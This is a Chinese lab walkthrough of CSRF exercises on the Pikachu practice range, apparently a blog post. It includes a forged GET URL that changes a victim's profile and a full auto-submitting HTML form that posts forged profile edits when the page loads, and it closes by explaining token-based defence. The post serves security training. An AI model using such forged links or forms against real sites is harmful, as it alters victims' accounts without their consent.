Pikachu靶场:CSRF(GET)、CSRF(POST)以及CSRF(token)

Pikachu靶场:CSRF(GET)、CSRF(POST)以及CSRF(token)

实验环境以及工具

Firefox浏览器、Burp Suite、Pikachu靶场

实验原理

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。

CSRF的主要问题是敏感操作的链接容易被伪造,那么如何让这个链接不容易被伪造?
每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证!

具体实施

CSRF(GET)

1.受害者登录

用户lucy登录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-caIJ7QEN-1618736504967)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418154327648.png)]

修改手机号为123456789住址usa为wuhan邮箱改为lucy@163.com

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CybcgrCq-1618736504969)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418155146838.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RGiSzbQg-1618736504971)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418155325034.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HxtKIUy1-1618736504974)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418155358964.png)]

2.伪造链接

将GET请求复制下来

GET /Pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=wuhan&email=lucy%40163.com&submit=submit

修改部分内容,这里吧住址wuhan改为beijing并改成URL发送

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=beijing&email=lucy%40163.com&submit=submit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hlqlwUT1-1618736504975)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418160752506.png)]

CSRF(POST)

1.受害者登录

受害者修改住址为wuhan

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zBp5B7M1-1618736504977)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418163207055.png)]

这样就不能利用在URL修改信息来篡改受害者信息。

2.搭建恶意网站

搭建一个恶意网站将受害者信息进行修改,这里是将住址从wuhan改为hubei

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="hubei" />
    <input id="email" type="text" name="email" value="lucy@163.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

并将恶意网站URL发送给受害者

http://127.0.0.1/Pikachu/vul/csrf/csrfpost/post123.html

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QG51sTsZ-1618736504978)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418164416736.png)]

成功修改了受害者的信息。

CSRF(token)

受害者登录并将住址修改为wuhan

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KCu5bz7f-1618736504979)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418164842346.png)]

GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?
sex=lucy
&phonenum=123456789
&add=wuhan
&email=lucy%40163.com
&token=15902607bf21f29fd3019665073
&submit=submit HTTP/1.1

其中token的值每次请求都会发生变化,所以攻击者不能用自己的token对受害者进行攻击。

总结

CSRF是借用受害者的权力进行攻击,与xss和其他越权漏洞不同,它没有实质性的拥有受害者的权力。CSRF的攻击条件非常苛刻,需要目标网站有CSRF漏洞,要受害者进行登录,受害者点击恶意链接。token能够很好的防御CSRF攻击。

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值